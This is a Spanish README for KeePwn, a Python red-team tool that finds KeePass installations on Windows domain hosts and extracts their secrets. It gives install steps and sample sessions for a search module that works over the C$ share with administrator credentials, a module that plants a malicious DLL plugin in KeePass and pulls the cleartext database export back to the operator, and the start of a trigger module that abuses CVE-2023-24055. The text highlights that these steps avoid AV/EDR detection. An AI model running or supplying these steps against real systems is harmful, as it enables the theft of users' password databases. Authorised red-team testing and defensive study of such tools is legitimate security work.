
Una herramienta de Python para automatizar el descubrimiento de KeePass y la extracción de secretos.

Un script en Python para ayudar a los equipos rojos a descubrir instancias de KeePass y extraer secretos.
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m pip install .
KeePwn --help
O si no deseas instalar sino solo ejecutar en un virtualenv:
git clone https://github.com/Orange-Cyberdefense/KeePwn && cd KeePwn
python3 -m venv .venv
source .venv/bin/activate
python3 -m pip install -r requirements.txt
python3 KeePwn.py --help
El módulo search de KeePwn se utiliza para identificar hosts que ejecutan KeePass en tu entorno objetivo:
$ python3 KeePwn.py search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt
[*] Starting remote KeePass search with 5 threads
[PC01.COMPANY.LOCAL] No KeePass-related file found
[PC02.COMPANY.LOCAL] No KeePass-related file found
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC04.COMPANY.LOCAL] No KeePass-related file found
[PC05.COMPANY.LOCAL] No KeePass-related file found
Hace uso del recurso compartido C$ incorporado de Active Directory para buscar archivos relacionados con KeePass en ubicaciones predeterminadas, por lo que requiere privilegios de administrador en los objetivos.
El módulo primero buscará el archivo de configuración KeePass.config.xml en la carpeta %APPDATA%\KeePass de cada usuario, así como KeePass.exe en su ruta de instalación predeterminada (C:\Program Files\KeePass Password Safe 2). Si se encuentra un archivo de configuración pero KeePass no está instalado globalmente, KeePwn buscará instalaciones portátiles hasta --max-depth subcarpetas.
Esta técnica de búsqueda básica debería ser suficiente para determinar con precisión si KeePass se usa en una estación de trabajo o no. Además, la opción --get-process utilizará la implementación RPC de Impacket para determinar si KeePass se está ejecutando actualmente en el objetivo.
También se incluyen varias opciones de calidad de vida para permitir exportar los resultados de búsqueda a un archivo CSV, mostrar solo los objetivos donde se encuentra KeePass y ajustar el número de hilos paralelos:
$ KeePwn search -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -tf ./targets.txt --threads 4 --get-process --found-only --output keepwn_out.csv
[*] Starting remote KeePass search with 4 threads
[PC03.COMPANY.LOCAL] Found '\\C$\Program Files\KeePass Password Safe 2\KeePass.exe' (Version: 2.57.1, LastUpdateCheck: 48 minutes ago)
[PC03.COMPANY.LOCAL] Found '\\C$\Users\jdoe\AppData\Roaming\KeePass\KeePass.config.xml'
[PC03.COMPANY.LOCAL] Found running KeePass.exe process (User: COMPANY\jdoe, PID: 3820)
[+] Search results logged to keepwn_out.csv
KeePass cuenta con un marco de plugins que puede ser abusado para cargar DLL maliciosas en el proceso de KeePass, permitiendo a atacantes con derechos de administrador exportar fácilmente la base de datos (ver: KeeFarceRebornPlugin).
El módulo plugin de KeePwn permite:
Listar los plugins actualmente instalados y enumerar la caché de plugins
$ KeePwn plugin check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] No path specified, searching in default locations..
[*] Found dbBackup.plgx in folder '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[*] Found pDhkzWQYiobXhtBEEnbo in folder '\\C$\Users\jdoe\AppData\Local\KeePass\PluginCache'
Añadir y eliminar tus plugins maliciosos
$ KeePwn plugin add -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL --plugin KeeFarceRebornPlugin.dll
[*] No path specified, searching in default locations..
[*] Found KeePass Plugins directory '\\C$\Program Files\KeePass Password Safe 2\Plugins\'
[!] About to add KeeFarceRebornPlugin.dll to KeePass Plugins directory, do you want to continue? [y/n]
> y
[+] Plugin successfully added to KeePass, wait for next restart, poll and enjoy!
Consultar %APPDATA% en busca de exportaciones y moverlas automáticamente del host remoto al sistema de archivos local
$ KeePwn plugin poll -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL
[*] Polling for database export every 5 seconds.. press CTRL+C to abort. DONE
[+] Found cleartext export '\\C$\\Users\jdoe\AppData\Roaming\export.xml'
[+] Moved remote export to ./export.xml
Estas acciones se realizan a través del acceso al recurso compartido SMB C$, lo que limita la detección por parte de AV/EDR, ya que no se ejecuta ningún comando.
Como se describe en el artículo de @harmj0y (y posteriormente CVE-2023-24055), el sistema de disparadores de KeePass puede ser abusado para exportar la base de datos en texto plano.
El módulo trigger de KeePwn permite:
Verificar si un disparador malicioso llamado "export" está actualmente escrito en la configuración de KeePass
$ KeePwn trigger check -u 'Administrator' -p 'P@$$w0rd!!' -d 'COMPANY.LOCAL' -t PC03.COMPANY.LOCAL